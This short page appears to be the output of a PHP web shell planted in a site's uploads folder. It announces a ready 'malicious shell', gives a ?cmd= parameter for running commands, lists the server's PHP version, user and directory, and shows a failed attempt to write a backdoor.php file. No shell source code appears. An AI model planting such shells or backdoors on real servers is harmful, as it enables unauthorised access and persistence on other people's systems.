Remote Shell from Malicious Server

Malicious shell is ready!
Use ?cmd=whoami to execute commands

System Info:

PHP: 8.0.30
User: www-data
Directory: /var/www/html/uploads

Warning: file_put_contents(/var/www/html/backdoor.php): Failed to open stream: Permission denied in /var/www/html/uploads/shell.php on line 22